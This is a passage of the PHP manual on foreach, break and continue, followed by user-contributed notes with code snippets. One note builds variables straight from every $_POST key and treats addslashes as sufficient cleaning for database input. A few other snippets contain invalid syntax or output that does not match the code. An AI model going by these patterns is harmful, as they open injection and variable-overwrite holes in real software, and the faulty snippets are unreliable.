    foreach ($inputs as $input) {
        global $$input;
        $$input = isset($_POST[$input]) ? $_POST[$input] : "";
    }
}
?>
Robin Leffmann 25-Sep-2008 06:51
It should be noted that when using foreach to pass an array's key ($key => $value), the key must be a string and not binary content - containing 0's, f.e., as was my case when i used foreach to parse bencoded data handed back to me from a bittorrent tracker scraping - as this will throw foreach off and hand you a key that is binary different than the actual content of the array.
rhi 17-Sep-2008 03:22
If you use foreach with references, don't forget to unset the reference if you are not sure that a later piece of code doesn't use the same variable name. Example:

<?php
$latest_tutorials = $db->queryAll("select * from tutorials"...);
foreach ($latest_tutorials as &$tut)
    $tut["comments"] = $db->queryOne("select count(*) ...");
// ...
$tut = $db->queryRow("...");

print_tutorials($latest_tutorials);
print_tutorial($tut);
?>

Here the last entry of latest_tutorials will be replaced by the row that is fetched by the $tut = $db->queryRow("..."); line because $tut is still referencing the last array entry. Solution:

<?php
foreach ($latest_tutorials as &$tut)
    $tut["comments"] = $db->queryOne("select count(*) ...");
unset($tut);
// ...
$tut = $db->queryRow("...");
?>
brian at diamondsea dot com 15-Aug-2008 08:15
A common problem is having PHP generate an error when trying to iterate through an array that may sometimes have no data in it.  This causes PHP to generate a warning such as:

Warning: Invalid argument supplied for foreach() in test.php on line 14

You can prevent this error by type-casting the foreach variable as an array type using "(array)" before the array variable name.

<?php
// double any value whose key starts with 'b'
$arr = array('a'=>1, 'b1'=>2, 'b2'=>3, 'c'=>4, 'd'=>5);
$non_array = null;

// Normal usage with an array
print "Test 1:\n";
foreach ($arr as $key => $val) {
    print "Key $key, Value $val\n";

}

// Normal usage with a non-array (undefined or otherwise empty data set)
// Outputs: Warning: Invalid argument supplied for foreach() in test.php on line 16
print "Test 2:\n";
foreach ($non_array as $key => $val) {
    print "Key $key, Value $val\n";
}

// By casting the $non_array to an (array) type, it will function without error, skipping the loop
print "Test 3:\n";
foreach ((array) $non_array as $key => $val) {
    print "Key $key, Value $val\n";
}

print "Done.\n";

?>

Outputs:

Test 1:
Key a, Value 1
Key b1, Value 2
Key b2, Value 3
Key c, Value 4
Key d, Value 5
Test 2:

Warning: Invalid argument supplied for foreach() in /home/bgallagher/test.php on line 16
Test 3:
Done.
adam dot sindelar at gmail dot com 14-Apr-2008 06:45
You can also use the alternative syntax for the foreach cycle:

<?php
foreach($array as $element):
  #do something
endforeach;
?>

Just thought it worth mentioning.
marian at devourmedia dot com 28-Feb-2008 05:34
Also, do not forget that foreach is not useful
if you change the value inside of the loop.

For example:

<?php
$t=array('a', 'a', 'a', 'a', 'a', 'a', 'a', '1', 'a', 'a', 'a', 'a', 'a');
foreach($t as $var=>$val)
{
$t=array();
echo "val={$val}<br>";
}
?>

is still showing the contents of the array $t.
henrik at newdawn dot dk 27-Oct-2007 03:08
As stated further up the foreach is consuming a lot of memory if used within large arrays - that is - if the array consists of for instance large objects. I had a case where a foreach caused me to run out of the 256 MB memory that PHP is allowed to handle - but changing to a for() statement completly removed both memory and CPU load.
tcrosby at gmail dot com 27-Aug-2007 06:37
Using the much-maligned ability of foreach to work on references rather than copies, it becomes possible to recurse indefinitely into deep arrays without the need to know beforehand how deep they go.  Consider the following example (which I use to sanitize input):

<?php

// Sanitize as a function to allow recursing; original array passed by reference
function sanitize(&$array) {
        foreach ($array as &$data) {
                if (!is_array($data)) { // If it's not an array, clean it
                        $data = '\\' . $data; // addslashes(), mysql_real_escape_string() or whatever you wish to use, this is merely a simple example
                }
                else { // If it IS an array, call the function on it
                        sanitize($data);
                }
        }
}

// Test case
$test = array(
                array(
                        array(
                                0,
                                1,
                                2
                        ),
                        3,
                        4
                ),
                5,
                6
        );

// Output
sanitize($test);
print_r($test);

/*

Output:

Array
(
    [0] => Array
        (
            [0] => Array
                (
                    [0] => \0
                    [1] => \1
                    [2] => \2
                )

            [1] => \3
            [2] => \4
        )

    [1] => \5
    [2] => \6
)

*/

?>

When first called on $test, it passes a reference to the original $test array to the sanitize function, which begins to iterate through its contents with the immediate foreach loop.  Each value that is not in itself an array gets sanitized as normal, and as both the foreach loop and the function itself are acting by reference, all changes happen directly to the contents of the superglobal rather than to copies.  If the value given IS an array, it then calls the same function on it.  The key here is that both the function and the foreach loop work by reference, meaning that you can call the calling function while in the foreach loop and all changes are still applied to the original array, without corruption of the array pointer, as it remains intact for each level of the array.  When the end of an array is reached, the function simply returns; if it was a deeper-level array, the parent function (and parent foreach loop) continue as they were; if the top-level loop ends, then the function returns to the main code, having acted on the entire array.  As everything operates within the scope of the sanitize function, you even avoid the danger of leaving the last reference set, as $data is not available outside the scope of the function in which any particular loop operates.  While this might sound complicated at first, the result is that by passing to foreach by reference, true indefinite recursion is possible.
Luke at chaoticlogic dot net 02-Jul-2007 01:08
Alright, I had a little error. I had one foreach() declaration, and then another foreach() declaration.

They went:
<?php
//$connections is an array of Socket resources
foreach ($connections as $key => &$value) {
    //the code here is impertinent

}

//$users is an associative array
foreach ($users as $key => &$value) {
    //the code here is impertinent
}
?>

Alright, now, what error was produced as a result of this?
This one:
"Warning: Cannot use scalar value as array in filename.php on line 69."

I then realized something; the reason for this came from the fact that I used $key, and $value for both of them in the exact same way.

As a response to this, I've developed two ways to fix this:
<?php
//add this to the end of every foreach() you use
unset($key,$value)
?>

OR

Simply use different variables for each one.
27-Jan-2007 10:50
Here is an obvious question to most of the readers, but it took me about two precious minutes to figure out, so I figured I will share it will you:

What will be the output of the following statement:
<?php
$data = array('1' => 'field1', '2' => 'field2');
foreach ($data as $field_index => $field_name);
{
    echo "$field_name";
}
?>
Correct answer is 'field2', and not 'field1field2'. The forgotten semicolon at the foreach line does not trigger a syntax error, but php treats it as an empty statement..

and then the block is run once with the last value set into $field_name.
Timon Van Overveldt 15-Jan-2007 08:41
Why not just do this?

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as $i => $value) {
   $arr[$i] = $value * 2;
}
// $arr is now array(2, 4, 6, 8)
?>

No need for references, so it works in both PHP4 and PHP5.
simplex 19-Dec-2006 12:12
"As of PHP 5, you can easily modify array's elements by preceding $value with &. This will assign reference instead of copying the value."

There are cases where array_walk or array_map are inadequate (conditional required) or you're just too lazy to write a function and pass values to it for use with array_map...

My solution to foreach for php 4 and 5 to modify values of an array directly:

<?php

$testarr = array("a" => 1, "b" => 2, "c" => 3, "d" => 4);

$testarr_keys = array_keys($testarr);
$testarr_values = array_values($testarr);

for ($i = 0; $i <= count($testarr) - 1; $i++) {
    $testarr[$testarr_keys[$i]] = $testarr_values[$i] * 2;
}

print_r($testarr);
?>
robycar at libero dot com 07-Dec-2006 11:04
some useful functions for testing boolean values

<?php
$trueValues = array('1', 'true', 't', 'y', 'yes', 'vero', 'v'); //edit with locale values
$falseValues = array('0', 'false', 'f', 'n', 'no', 'falso'); //edit with locale values

function str_to_bool($str) {
  foreach ($GLOBALS['trueValues'] as $value)
      if (strcasecmp($str, $value) == 0)
          return true;
    foreach ($GLOBALS['falseValues'] as $value)
      if (strcasecmp($str, $value) == 0)
          return false;
    return NULL;
}

function str_is_true($str) {
  return (str_to_bool($str) === true);
}

function str_is_false($str) {
  return str_to_bool($str) === false;
}

/* Test */
str_to_bool('false'); //return false
str_to_bool('vero'); // return true
str_to_bool('php'); //return null
str_is_true('php'); //return false
str_is_false('php'); //return false

?>
gherson 30-May-2006 12:33
To "foreach" over the characters of a string, first "preg_split" the string into an array:
<?php
$string="string";
$array = preg_split('//', $string, -1, PREG_SPLIT_NO_EMPTY);
foreach($array as $char) print($char."<br/>");
?>
This outputs:
s
t
r
i
n
g
daniel dot oconnor at gmail dot com 08-Feb-2006 10:42
Dangers with References

<?php
$months = array("Jan", "Feb", "March");

foreach ($months as &$month) {
    $month .= "Beep";
}

print_r($months);

foreach ($months as $month) {
    printf("%s\n", $month);

}

?>

Because $month is a reference to $months[2], iterating again with the same varible name causes $months[2] to be overwritten! Oh no!

Ouput:
Array
(
    [0] => JanBeep
    [1] => FebBeep
    [2] => MarchBeep
)
JanBeep
FebBeep
FebBeep
RabidDog 17-Jan-2006 02:17
Pretty weird but for future reference

<?php
//doesn't multiply the last value
foreach ($ar as &$v){
    $v *= 2;
}
foreach($ar as $v){
    echo $v. "<br>";
}
//works fine
foreach ($ar as &$o){
    $o *= 2;
}
foreach($ar as $v){
    echo $v. "<br>";
}
?>
janezr at jcn dot si 10-Nov-2005 01:06
If you want to "look-ahead" values in an associative or non-continuous array, this might help:

<?php
$myArray = {'one'=>1,'two'=>2,'five'=>5,'three'=>3}

$all_keys = array_keys($myArray);
foreach ( $all_keys as $key_index => $key ) {
  $value =& $myArray[$key];
  // $all_keys[$key_index+2] gives null if we go past the array boundary - be carefull there
  $value2 =& $myArray[$all_keys[$key_index+2]] ;
  ...
}
?>
mikeb at tracersinfo dot com 26-Jul-2005 10:18
Using PHP5's foreach "as reference" can bite you!

Three guys in my office spent about a day chasing this one's tail, that was causing aberrant behavior in the values of elements of an array.  It turns out to be a consequence of the nature of references, generally.

If you create a reference to a variable, all names for that variable (including the original) BECOME REFERENCES.  To paraphrase "The Highlander," if you want a name to OWN a piece of data, "there can be only one."

To illustrate this point, consider the following code:

<?php

$f = array(
       0 => array('value' => 'three'),
       1 => array('value' => 'three')
     );

foreach ( $f as $k => &$v ) {
  $v['value'] = 'one';
}

$a = $f;
$b = $f;

$b[0]['value'] = 'two';
$b[1]['value'] = 'two';

var_dump($a, $b);

?>

Upon execution, you will find that, although you would expect $a to contain two arrays with 'value' of 'one', $a and $b are identical -- i.e., the changes of []['value'] to 'two' have happened in both arrays.  But, upon further examination of the var_dumps, you will see that both sets' elements [0] and [1] are preceded with "&":  they are references!

The easy solution to this problem turns out to be:  unset the foreach "as-reference" variable ($v) at the bottom of your foreach loop.  This allows the original variable (or array member) to resume ownership of the value and dissolves its "reference-ness".
magistrata at gmail dot com 13-Jul-2005 09:59
I use this code to do a simple cleanup on information heading from an HTML form into a database:

<?php
  foreach ($_POST as $key => $value) {
    $$key = addslashes(trim($value));
  }
?>
29-May-2005 10:17
How To Use References In Foreach Safely And Sanely In PHP 4.

There are two really really important points to remember about foreach and references:
1. foreach makes a copy
2. references (and unset!) work by directly manipulating the symbol table

In practice, this means that if you have an array of objects (or arrays) and you need to work on them *in-place* in a foreach loop, you have to do this:

<?php
foreach( $object_list as $id => $the_object ) {
   $the_object = & $object_list[$id]; // Re-assign the variable to point to the real object
   ....
   unset($the_object); // Break the link to the object so that foreach doesn't copy the next one on top of it.
}
?>

This really works. I have used it in dozens of places. Yes, you need it all, including the unset(). You will get extremely hard-to-find bugs if you leave out the unset().

Static.
flobee at gmail dot com 21-May-2005 01:32
be aware! take the note in the manual serious: "foreach operates on a copy of the specified array"
when working with complex systems you may get memory problems because of all this copies of arrays.

i love this function (easy to use) and use it more often than "for" or "while" functions but now i have really problems on this and finally found the reason (which can be a mess to find out)!
the sum of memory usage sometimes can be *2 than you really need.
Paul Chateau 16-May-2005 11:01
I had the same problem with foreach() and a recursiv function. If you don't want to spend about 1 or 2 hours to solve this problem, just use for() loops instead of foreach().
Some Example:

<?php
$arr[] = array(1,"item1");
$arr[] = array(2,"item2");
$arr[] = array(1,"item3");
//$arr[] = ...

//doesn't work
function foo($x) {
   global $arr; // some Array
   foreach($arr as $value) {
      if($value[0] == $x) {
         echo $value[1]."\n";
         foo($value[0]);
      }
   }
}

//just use this
function foo($x) {
   global $arr; // some Array
   for($i=0; $i < count($arr); $i++) {
      if($arr[$i][0] == $x) {
         echo $arr[$i][1]."\n";
         foo($arr[$i][0]);
      }
   }
}
?>

Paul
gardan at gmx dot de 07-Oct-2004 12:21
(PHP 5.0.2)
Pay attention if using the same variable for $value in both referenced and unreferenced loops.

<?php
$arr = array(1 => array(1, 2), 2 => array(1, 2), 3 => array(1, 2));
foreach($arr as &$value) { }
foreach(array(1,2,3,4,5) as $value) { }
echo $test[3];
?>

What happens here is that after the first foreach() loop, you have in $value a reference to the last element of $arr (here: array(1, 2)).

Upon entering the second foreach(), php assigns the value. Now value is assigned to where $value (which is still a reference) points, that is, the last element of $arr.

Your output will be "5", not the expected "Array". To be on the safe side, unset($value) before entering the next foreach().
scott at slerman dot net 17-Apr-2004 08:27
Apparently the behavior of foreach with classes changed in PHP5. Normally, foreach operates on a copy of the array. If you have something like

<?php
foreach ($array as $value){
    $value = "foo";
}
?>

the original array will not be modified. However, testing this code on PHP5RC1

<?php

class foobar {

    var $a;
    var $b;

    function foobar(){
        $this->a = "foo";
        $this->b = "bar";
    }
}

$a = new foobar;
$b = new foobar;
$c = new foobar;

$arr = array('a' => $a, 'b' => $b, 'c' => $c);

foreach ($arr as $e){
    $e->a = 'bah';
    $e->b = 'blah';
}

var_dump($arr);

?>

resulted in the following output:

array(3) {
  ["a"]=>
  object(foobar)#1 (2) {
    ["a"]=>
    string(3) "bah"
    ["b"]=>
    string(4) "blah"
  }
  ["b"]=>
  object(foobar)#2 (2) {
    ["a"]=>
    string(3) "bah"
    ["b"]=>
    string(4) "blah"
  }
  ["c"]=>
  object(foobar)#3 (2) {
    ["a"]=>
    string(3) "bah"
    ["b"]=>
    string(4) "blah"
  }
}

It would seem that classes are actually passed by reference in foreach, or at least that methods are called on the original objects.
jazfresh at hotmail dot com 17-Feb-2004 10:50
There is a really really big pitfall to watch out for if you are using "foreach" and references.

Recall this example:

<?php
$a = "Hello";
$b =& $a;   // $b now refers to "Hello"
$b = "Goodbye"; // BOTH $a and $b now refer to "Goodbye"
?>

This also applies to the loop variable in a foreach construct. This can be a problem if the loop variable has already been defined as a reference to something else.

For example:

<?php
// Create some objects and store them in an array
$my_objects = array();
for($a = 0; $a < $num_objects; $a++) {
  $obj =& new MyObject();
  $obj->doSomething();
  $my_objects[] =& $obj;
}

// later on in the same function...
foreach($my_objects as $obj) { // Note that we are trying to re-use $obj as the loop variable
  $obj->doSomethingElse();
}
?>

When the "for" loop exits, $obj is a reference to the last MyObject that was created, which is also the last element in the "my_objects" array.

On every iteration, the foreach loop will do the equivalent of:

<?php
$obj = $my_objects[$internal_counter++];
?>

$obj will now refer to the appropriate element in the array.

But recall the reference example at the top. Because $obj was already defined as a reference, any assignment to $obj will overwrite what $obj was referring to. So in other words, on every foreach loop iteration, the last element in the array will be overwritten with the current array element.

To avoid this problem, either use a differently named loop variable, or call "unset()" on the loop variable before you begin the foreach().

It would be more intuitive PHP unset() the loop variable before a foreach began, maybe they'll put that in a later version.
andy at barbigerous dot net 06-Feb-2004 10:05
For dual iteration, the internal pointers may need resetting if they've been previously used in a foreach.

<?PHP

for(
     $someArray1.reset(),
     $someArray2.reset();
     list(, $someValue1 ) = each( $someArray1 ) ,
     list(, $someValue2 ) = each( $someArray2 )
     ;
) {

 echo $someValue1;
 echo $someValue2;

}

?>
php at electricsurfer dot com 22-Apr-2003 01:33
[Ed Note:  You can also use array_keys() so that you don't have to have the $value_copy variable --alindeman at php.net]

I use the following to modify the original values of the array:

<?php
foreach ($array as $key=>$value_copy)
{
     $value =& $array[$key];
     // ...
     $value = 'New Value';
}
?>
ian at NO_SPAM dot verteron dot net 01-Jan-2003 03:29
Note that foreach is faster than while! If you can replace the following:

<?php
reset($array);
while(list($key, $val) = each($array))
{
  $array[$key] = $val + 1;
}
?>

...with this (although there are functional differences, but for many purposes this replacement will behave the same way)...

<?php
foreach($array as $key => $val)
{
  $array[$key] = $val + 1;
}
?>

You will notice about 30% - 40% speed increase over many iterations. Might be important for those ultra-tight loops :)
17-Sep-2002 09:06
"Also note that foreach operates on a copy of the specified array, not the array itself, therefore the array pointer is not modified as with the each() construct and changes to the array element returned are not reflected in the original array."

In other words, this will work (not too expected):

<?php
foreach ($array as $array) {
    // ...
}
?>

While this won't:

<?php
while (list(, $array) = each($array)) {
    // ...
}
?>
for
break
Control Structures


break

(PHP 4, PHP5)

break ends execution of the current for, foreach, while, do-while or switch structure.

break accepts an optional numeric argument which tells it how many nested enclosing structures are to be broken out of.

<?php
$arr = array('one', 'two', 'three', 'four', 'stop', 'five');
while (list(, $val) = each($arr)) {
    if ($val == 'stop') {
        break;    /* You could also write 'break 1;' here. */
    }
    echo "$val<br />\n";
}

/* Using the optional argument. */

$i = 0;
while (++$i) {
    switch ($i) {
    case 5:
        echo "At 5<br />\n";
        break 1;  /* Exit only the switch. */
    case 10:
        echo "At 10; quitting<br />\n";
        break 2;  /* Exit the switch and the while. */
    default:
        break;
    }
}
?>

User Contributed Notes

RK 17-Dec-2010 04:09
If the numerical argument is higher than the number of things which can be broken out of, it seems to me like the execution of the entire program is stopped.
My program had 8 nested loops. Didn't bother counting them, but wrote: break 10. - Result: Code following the loops was not processed.
Miguel Cruz 15-Apr-2009 12:37
To make it very clear, if you use "break" with no numerical argument, that's the same as doing "break 1".

"break 0", while allowed, does nothing.
webmaster at kayfer dot com 06-Feb-2009 10:03
Ok guys here something that I use and it works

<?php

                                                switch($_GET['id'])

{

default:
      echo "yourvalue\n";
      echo "yourvalue2\n";
break;

case banner:
      echo "content in banner\n";
      echo "another content in banner\n";
break;

case header:
      echo "content in header\n";
      echo "another content in header\n";
break;

case other:
      echo "content in other\n";
      echo "another content in other\n";
break;

}

?>

Now I will explain what each script does.

first part the

<?php

                                                switch($_GET['id'])

{

should be included or it won't work

default is default link, lets say if this is in index.php then when index.php is loaded default will be shown.

case banner: or case header: or case other: is what will be hidden until visitors click on link that will take them there, the value after case is going to be added after the name of the file, lets say case banner: is in index.php then case banner: and its contents will be in index.php?id=banner same for header and other cases. note that you always should put break; tag should be included.

Hope this helped you guys, I am sorry if i didn't explain it well but I tried my best.
Coryf88 at hotmail dot com 30-Aug-2008 01:51
Breaks are not required within a switch, they simply break the switch from being further processed.
<?php
$total = 0;
switch($i) {
    case 6:
        $total = 99;
    break;
    case 1:
        $total += 1;
    case 2:
        $total += 2;
    case 3:
        $total += 3;
    case 4:
        $total += 4;
    case 5:
        $total += 5;
}
?>
Using the above snippet, all of the following would be true:
If $i = 6, $total would = 99.
If $i = 5, $total would = 5.
If $i = 4, $total would = 9.
If $i = 3, $total would = 12.
If $i = 2, $total would = 14.
If $i = 1, $total would = 15.
Anonymous 13-Aug-2008 09:54
The previous note has a somewhat stupid author: why didn't you put an example?

If I got it right, "case"s in "switch"es always need a "break".
So this switch ...

<?php
switch ( $i ) {
  case '1': // Works
    echo "$i=1";
    break;
  case '2': // Works
    require( 'include1.inc' );
    break;
  case '3': // Doesn't work
    require( 'include2.inc' );
    break;
  case '4': // Doesn't work, same reason
    require( 'include2.inc' );
  default: // Works
    echo "$i";
}
?>

... has a problem in case "4" in that it doesn't have a "break" and this file...

include2.inc:
<?php
  echo "$i";
  break;
?>

... has a problem in that it has a "break" that is not in a "control structure" (like while, for...).

In the same way, although "include2.inc" is "include"d (obvioulsy) in the <?php ?> script (of main.php), it still need another <?php ?> to wrap its content.

Likewise,

main.php
<?php
echo "<div>This div is generated by php</div>\n";
include 'file.php'; ?>
echo "<div>This div is also generated by php</div>\n";

file.php:
<div>This is an old static HTML div.</div>

... doesn't require "file.php" content to start with "?>" (exit php) and end with "<?php" (go back to line 3 of main.php). This would FAIL.

(See strange structure ALWAYS fail"?>!)

Does this really need documentation?
Anonymous 11-Aug-2008 11:43
Your break doesn't work because it isn't within a control structure.  I use includes that have breaks and they work fine because they are in a control structure (foreach, while, etc.)
cb 08-Jul-2008 03:01
Just to note: break doesn't work within included file, results in fatal error.

main.php:
<?php
switch ( $i )
{
  case '1': // Works
    echo "$i";
    break;
  case '2': // Works
    require( 'include1.inc' );
    break;
  case '3': // Doesn't work
    require( 'include2.inc' );
    break;
  case '4': // Doesn't work, same reason
    require( 'include2.inc' );
  default: // Works
    echo "$i";
}
?>

include1.inc:
<?php
  echo "$i";
?>

include2.inc:
<?php
  echo "$i";
  break;
?>

I didn't find this documented anywhere.
alan at synergymx dot com 15-Apr-2008 12:06
Here is a function that returns specific files in an array, with all of the details. Includes some basic garbage checking.

Variables

$source_folder // the location of your files
$ext // file extension you want to limit to (i.e.: *.txt)
$sec // if you only want files that are at least so old.
$limit // number of files you want to return

The function

function glob_files($source_folder, $ext, $sec, $limit){
    if( !is_dir( $source_folder ) ) {
        die ( "Invalid directory.\n\n" );
    }

    $FILES = glob($source_folder."\*.".$ext);
    $set_limit    = 0;

    foreach($FILES as $key => $file) {

        if( $set_limit == $limit )    break;

        if( filemtime( $file ) > $sec ){

            $FILE_LIST[$key]['path']    = substr( $file, 0, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['name']    = substr( $file, ( strrpos( $file, "\\" ) +1 ) );
            $FILE_LIST[$key]['size']    = filesize( $file );
            $FILE_LIST[$key]['date']    = date('Y-m-d G:i:s', filemtime( $file ) );
            $set_limit++;

        }

    }
    if(!empty($FILE_LIST)){
        return $FILE_LIST;
    } else {
        die( "No files found!\n\n" );
    }
}

So....

$source_folder = "c:\temp\my_videos";
$ext = "flv"; // flash video files
$sec = "7200"; // files older than 2 hours
$limit = 2; // Only get 2 files

print_r(glob_files($source_folder, $ext, $sec, $limit));

Would return:

Array
(
    [0] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => fluffy_bunnies.flv
            [size] => 21160480
            [date] => 2007-10-30 16:48:05
        )

    [1] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => synergymx.com.flv
            [size] => 14522744
            [date] => 2007-10-25 15:34:45
        )
Gautam 22-Aug-2007 02:53
<?php
/*
break :break command exits the innermost loop construct which contains it.
break ends execution of the current for, foreach, while, do-while or switch structure.
break accepts an optional numeric argument which tells it how many nested enclosing structures are to be broken out of.

You can view various output by changing comparision operator(<,==,>) or value of $limit
*/
$to_square_root=65536;
$i=1;
$limit=4;
while (true) {
$square_root=sqrt($to_square_root);
echo "Square Root of $to_square_root is $square_root.<BR>";
$to_square_root=$square_root;
$i=$i+1;
if ($i>$limit) // if ($i<$limit) is used, loop breaks on very first execution
break;
}
$loop=$i-1;
echo "This loop is executes for $loop times.";
/* Above codes produces following output in browser
Square Root of 65536 is 256
Square Root of 256 is 16
Square Root of 16 is 4
Square Root of 4 is 2
This loop is executes for 4 times
*/
?>
pinkgothic at gmail dot com 22-Jun-2007 04:10
To add to the responses given to "vlad at vlad dot neosurge dot net" - I'd like to note the lack of automatic breaking in 'default' can be a very good thing. Consider this useful snippet:

<?php

switch((string) $_REQUEST['mode']) {
  default:
     $_REQUEST['mode'] = "search";
     // fall through...
  case 'search' :
  case 'list' :
  case 'add' :
  case 'edit' :
     require(dirname(__FILE__)."/incs/".$_REQUEST['mode'].".php");
     break;
}

?>

I personally find that far easier to look at than, for example:

<?php

$valid_modes = array('search','list','add','edit');
if (in_array($_REQUEST['mode'],$valid_modes)) {
     require(dirname(__FILE__)."/incs/".$_REQUEST['mode'].".php");
} else {
     require(dirname(__FILE__)."/incs/search.php");
}

?>

...and it even has the added benefit that the switch() variant only has one require() statement, which makes for easier maintenance, e.g. if the directory changes, or what-have-you.

(Consider the above pseudocode, please, it's not tested - it's code illustrating a point only.)
vinyanov at poczta dot onet dot pl 05-May-2007 05:36
Note that the break argument accepts any expression, including a function result. So you may want to dynamically choose the loop level to break from:

<?php

// the print() function returns 1

function icarus()
{
    while(print('sea level, '))
        while(print('through the clouds, '))
            while(print('close the Sun - '))
                break rand(print('FEATHERS LOSS! - '), 3);

    print('no feathers remaining.');
}

icarus();

?>
18-Jan-2007 06:12
If you wonder how to end execution of a function (as I did), it's that simple: return

function foo($a) {
 if(!$a) return;
 echo 'true';
 // some other code
}

foo(true) will echo 'true', foo(false) won't echo anything (as return ends execution of the function. Of course, therefore there is no need for 'else' before 'echo').
clean_code at is_good_code dot com 08-Nov-2006 12:07
"Just an insignificant side not: Like in C/C++, it's not necessary to break out of the default part of a switch statement in PHP."

--Yes it is, it's just that traditionally default: is the last entry of a switch and so nothing happens after.

-If it was, for whatever reason, not the last entry the script would bawk, there is no implicit break; associated with switch.
traxer at gmx dot net 30-Dec-2005 06:53
vlad at vlad dot neosurge dot net wrote on 04-Jan-2003 04:21

> Just an insignificant side not: Like in C/C++, it's not
> necessary to break out of the default part of a switch
> statement in PHP.

It's not necessary to break out of any case of a switch  statement in PHP, but if you want only one case to be executed, you have do break out of it (even out of the default case).

Consider this:

<?php
$a = 'Apple';
switch ($a) {
    default:
        echo '$a is not an orange<br>';
    case 'Orange':
        echo '$a is an orange';
}
?>

This prints (in PHP 5.0.4 on MS-Windows):
$a is not an orange
$a is an orange

Note that the PHP documentation does not state the default part must be the last case statement.
Ilene Jones 21-Feb-2005 01:08
For Perl or C programmers...

break is equivelant to last

while(false ! == ($site = $d->read()) ) {
  if ($site === 'this') {
     break;  // in perl this could be last;
  }
}
foreach
continue
Control Structures


continue

(PHP 4, PHP5)

continue is used within looping structures to skip the rest of the current loop iteration and continue execution at the condition evaluation and then the beginning of the next iteration.

Note: Note that in PHP the switch statement is considered a looping structure for the purposes of continue.

continue accepts an optional numeric argument which tells it how many levels of enclosing loops it should skip to the end of.

Note:

continue 0; and continue 1; is the same as running continue;.

<?php
while (list($key, $value) = each($arr)) {
    if (!($key % 2)) { // skip odd members
        continue;
    }
    do_something_odd($value);
}

$i = 0;
while ($i++ < 5) {
    echo "Outer<br />\n";
    while (1) {
        echo "&nbsp;Middle<br />\n";
        while (1) {
            echo "&nbsp;&nbsp;Inner<br />\n";
            continue 3;
        }
        echo "This never gets output.<br />\n";
    }
    echo "Neither does this.<br />\n";
}
?>

Omitting the semicolon after continue can lead to confusion. Here's an example of what you shouldn't do.

<?php
for ($i = 0; $i < 5; ++$i) {
    if ($i == 2)
        continue
    print "$i\n";
}
?>

One can expect the result to be:

0
1
3
4

but this script will output:

2

because the entire continue print "$i\n"; is evaluated as a single expression, and so print() is called only when $i == 2 is true. (The return value of print is passed to continue as the numeric argument.)

User Contributed Notes

Anonymous 25-Jul-2011 09:22
<?php
function print_primes_between($x,$y)
{
    for($i=$x;$i<=$y;$i++)
   {
        for($j= 2; $j < $i; $j++)  if($i%$j==0) continue 2;
        echo $i.",";
   }
}
?>

This function, using continue syntax, is to print prime numbers between given numbers, x and y.
For example, print_primes_between(10,20) will output:

11,13,17,19,23,29,
skippychalmers at gmail dot com 17-May-2011 05:56
To state the obvious, it should be noted, that the optional param defaults to 1 (effectively).
rjsteinert.com 26-Feb-2011 09:22
The most basic example that print "13", skipping over 2.

<?php
$arr = array(1, 2, 3);
foreach($arr as $number) {
  if($number == 2) {
    continue;
  }
  print $number;
}
?>
jaimthorn at yahoo dot com 24-Mar-2010 06:36
The remark "in PHP the switch statement is considered a looping structure for the purposes of continue" near the top of this page threw me off, so I experimented a little using the following code to figure out what the exact semantics of continue inside a switch is:

<?php

    for( $i = 0; $i < 3; ++ $i )
    {
        echo ' [', $i, '] ';
        switch( $i )
        {
            case 0: echo 'zero'; break;
            case 1: echo 'one' ; XXXX;
            case 2: echo 'two' ; break;
        }
        echo ' <' , $i, '> ';
    }

?>

For XXXX I filled in

- continue 1
- continue 2
- break 1
- break 2

and observed the different results.  This made me come up with the following one-liner that describes the difference between break and continue:

continue resumes execution just before the closing curly bracket ( } ), and break resumes execution just after the closing curly bracket.

Corollary: since a switch is not (really) a looping structure, resuming execution just before a switch's closing curly bracket has the same effect as using a break statement.  In the case of (for, while, do-while) loops, resuming execution just prior their closing curly brackets means that a new iteration is started --which is of course very unlike the behavior of a break statement.

In the one-liner above I ignored the existence of parameters to break/continue, but the one-liner is also valid when parameters are supplied.
Anonymous 12-Jan-2010 03:08
Example regarding the condition at the end of the loop and continue:
<?php
$i = 0;
do {
    printf('%d ', $i);
    continue;
} while( ++$i < 10);

// Output: 0 1 2 3 4 5 6 7 8 9
?>
It gets executed all the time regardless that continue is placed before the while() statement. That does not get skipped.
Nikolay Ermolenko 16-Apr-2009 05:58
Using continue and break:

<?php
$stack = array('first', 'second', 'third', 'fourth', 'fifth');

foreach($stack AS $v){
    if($v == 'second')continue;
    if($v == 'fourth')break;
    echo $v.'<br>';
}
/*

first
third

*/

$stack2 = array('one'=>'first', 'two'=>'second', 'three'=>'third', 'four'=>'fourth', 'five'=>'fifth');
foreach($stack2 AS $k=>$v){
    if($v == 'second')continue;
    if($k == 'three')continue;
    if($v == 'fifth')break;
    echo $k.' ::: '.$v.'<br>';
}
/*

one ::: first
four ::: fourth

*/

?>
Anonymous 11-Sep-2008 10:04
The continue keyword can skip division by zero:
<?php
$i = 100;
while ($i > -100)
{
    $i--;
    if ($i == 0)
    {
        continue;
    }
    echo (200 / $i) . "<br />";
}
?>
Geekman 27-Dec-2007 05:01
For clarification, here are some examples of continue used in a while/do-while loop, showing that it has no effect on the conditional evaluation element.

<?php
// Outputs "1 ".
$i = 0;
while ($i == 0) {
    $i++;
    echo "$i ";
    if ($i == 1) continue;
}

// Outputs "1 2 ".
$i = 0;
do {
    $i++;
    echo "$i ";
    if ($i == 2) continue;
} while ($i == 1);
?>

Both code snippets would behave exactly the same without continue.
tufan dot oezduman at gmail dot com 21-Dec-2006 04:28
a possible explanation for the behavior of continue in included scripts mentioned by greg and dedlfix above may be the following line of the "return" documentation: "If the current script file was include()ed or require()ed, then control is passed back to the calling file."
The example of greg produces an error since page2.php does not contain any loop-operations.

So the only way to give the control back to the loop-operation  in page1.php would be a return.
szrrya at yahoo dot com 17-Jul-2006 02:18
Documentation states:

"continue is used within looping structures to skip the rest of the current loop iteration"

Current functionality treats switch structures as looping in regards to continue.  It has the same effect as break.

The following code is an example:

<?php
for ($i1 = 0; $i1 < 2; $i1++) {
  // Loop 1.
  for ($i2 = 0; $i2 < 2; $i2++) {
    // Loop 2.
    switch ($i2 % 2) {
      case 0:
        continue;
        break;
    }
    print '[' . $i2 . ']<br>';
  }
  print $i1 . '<br>';
}
?>

This outputs the following:
[0]
[1]
0
[0]
[1]
1

Switch is documented as a block of if...elseif... statements, so you might expect the following output:
[1]
0
[1]
